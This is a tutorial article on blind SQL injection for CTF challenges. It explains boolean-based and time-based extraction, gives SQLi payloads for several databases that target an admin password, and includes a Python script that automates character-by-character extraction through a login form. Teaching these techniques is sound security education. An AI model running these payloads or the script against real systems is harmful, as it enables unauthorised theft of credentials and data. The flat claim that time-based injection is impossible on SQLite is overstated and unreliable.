Learn how blind SQL injection works, how to extract data using boolean conditions and time delays, and how to automate extraction in CTF challenges.
This article covers blind SQL injection, which applies when a web application is vulnerable to SQLi but does not display database output or error messages in the response. Without visible output, the UNION-based techniques from the previous article do not work directly. Instead, data is extracted indirectly by asking the database yes/no questions and observing how the application behaves.
Why Blind Injection Exists
Many applications are written to suppress errors and never display raw query results. A login form might only say "Invalid credentials" regardless of what goes wrong. A search page might return an empty result set rather than an error. These applications can still be vulnerable to SQL injection, but the response carries no data to read directly.
Blind injection works because even a silent application usually behaves differently depending on whether an injected condition is true or false. That difference, however subtle, is enough to extract data one character at a time.
There are two main types of blind injection: boolean-based and time-based. Boolean-based is faster and more reliable. Time-based attacks can produce the same results, but they are the last resort when there is no visible difference in the response at all.
Boolean-Based Blind Injection
The Core Idea
Boolean-based injection works by injecting a condition into the query and observing whether the application responds differently for true versus false. The classic test:
' AND 1 = 1 -- -- true, page behaves normally
' AND 1 = 2 -- -- false, page behaves differentlyIf those two inputs produce different responses, the application is evaluating the injected condition. The difference might be obvious (a result appears versus disappears) or subtle (a slightly different message, a redirect, a change in response length). Any consistent difference works.
Extracting Data
Once a true/false signal is established, data can be extracted by asking questions about individual characters. The core function is SUBSTRING (or SUBSTR in SQLite), which extracts a single character from a string at a given position:
-- PostgreSQL, MySQL, MSSQL
SUBSTRING(string, position, length)
-- SQLite
SUBSTR(string, position, length)To ask whether the first character of the admin password is a:
' AND SUBSTRING((SELECT password FROM users
WHERE username = 'admin'), 1, 1) = 'a' -- If the page responds as true, the first character is a. If false, try b, then c, and so on until a match is found. Then move to position 2 and repeat.
This is tedious by hand for anything longer than a few characters. In CTF challenges it is worth writing a short script to automate the process.
A Simple Extraction Script
This Python script extracts a value character by character using boolean-based blind injection:
import requests
import string
url = 'https://example.com/login'
# Assume that passwords are only made up of these types of characters.
charset = string.ascii_lowercase + string.digits + string.punctuation
# Assume passwords will be 50 characters or less.
result = ''
for position in range(1, 50):
found = False
for char in charset:
# Query payload, split over multiple lines for readability in
# this article.
payload = (
f"' AND SUBSTRING("
f"(SELECT password FROM users WHERE username = 'admin')"
f", {position}, 1) = '{char}' -- "
)
# Call the web server with the query and retrieve the response.
response = requests.post(url, data = {
'username': payload,
'password': 'x'
})
# Adjust 'Welcome' string to match the true condition indicator.
if 'Welcome' in response.text:
result += char
found = True
break
if not found:
# End of the string
break
print(result)The true condition indicator, 'Welcome' in response.text, needs to be changed to what the application shows when the injected condition is true. The response length, a specific string in the response text, a status code, or a redirect can all serve as the signal depending on how devious the challenge is.
Finding the Flag
The same technique applies to finding the flag directly. If the flag is in a table called flags:
' AND SUBSTRING((SELECT flag FROM flags LIMIT 1), 1, 1) = 'p' -- When the schema is unknown, information_schema (or sqlite_master) can be queried the same way:
' AND SUBSTRING((SELECT table_name FROM
information_schema.tables LIMIT 1), 1, 1) = 'f' -- Time-Based Blind Injection
When to Use It
Time-based injection is used when there is no visible difference between a true and false response. The application looks identical regardless of what is injected. In that case, the database itself can be made to pause, and the response time becomes the signal.
The Core Idea
A conditional sleep is injected: if the condition is true, the database sleeps for a fixed number of seconds; if false, it responds immediately. Sleep syntax varies by database:
-- PostgreSQL
' AND 1 = 1 AND pg_sleep(5) --
-- MySQL
' AND SLEEP(5) --
-- MSSQL
'; WAITFOR DELAY '0:0:5' --
-- SQLite: doesn't have a sleep functionFor data extraction, the sleep is made conditional on the character being tested:
-- MySQL
' AND IF(SUBSTRING((SELECT password FROM users WHERE
username = 'admin'), 1, 1) = 'a', SLEEP(5), 0) --
-- PostgreSQL
' AND 1 = (SELECT CASE WHEN SUBSTRING(password, 1, 1) = 'a'
THEN (SELECT 1 FROM pg_sleep(5)) ELSE 1 END FROM users
WHERE username = 'admin') --A five-second delay means the condition is true. An immediate response means false.
Reliability
Time-based injection is slower and less reliable than boolean-based. Network latency, server load, and connection timeouts all introduce noise. Treating any response over three seconds as true, rather than expecting exactly five, is more robust in practice.
SQLite has no sleep function at all, so time-based injection is not possible against SQLite targets.
Confirming the Injection Type
Before committing to boolean or time-based extraction, it helps to confirm which type of blind injection is present:
- submit
' AND 1 = 1 --and' AND 1 = 2 --and compare the responses - if the responses differ, boolean-based injection is available and should be used
- if the responses are identical, try
' AND SLEEP(5) --(or the equivalent for the target database) and measure the response time - if the response is delayed, time-based injection is available
- if neither works, the injection point may require a different payload structure, or may not be vulnerable at that input
Practice Tips
When working on CTF challenges involving blind SQL injection:
- start with boolean: always try boolean-based first, as it is faster and more reliable than time-based
- look carefully at responses: the true/false difference is sometimes just a word or a missing element, not an obvious change
- measure response length: when text differences are hard to spot, comparing response byte counts often reveals the signal
- write a script early: manually extracting even a short flag character by character is impractical, and a simple loop saves a lot of time
- watch for rate limiting: some challenges throttle requests, so adding a short delay between requests avoids being blocked
- remember SQLite has no sleep: if the target is SQLite, time-based injection is not available and boolean-based is the only option
Summary
Blind SQL injection applies when the application is vulnerable but does not display database output or errors. Boolean-based injection exploits differences in application behavior between true and false conditions, extracting data character by character using SUBSTRING. Time-based injection uses conditional sleep functions to encode true and false as response delays, and is used when no behavioral difference is visible.
Boolean-based is faster and more reliable and should always be tried first. Time-based is the last resort. SQLite supports neither time-based injection nor information_schema, so blind injection against SQLite relies entirely on boolean-based techniques with sqlite_master for schema discovery.
Want to learn more about security weaknesses? I'm working through the CWE list and doing writeups for security challenges. Follow along for more articles like this one.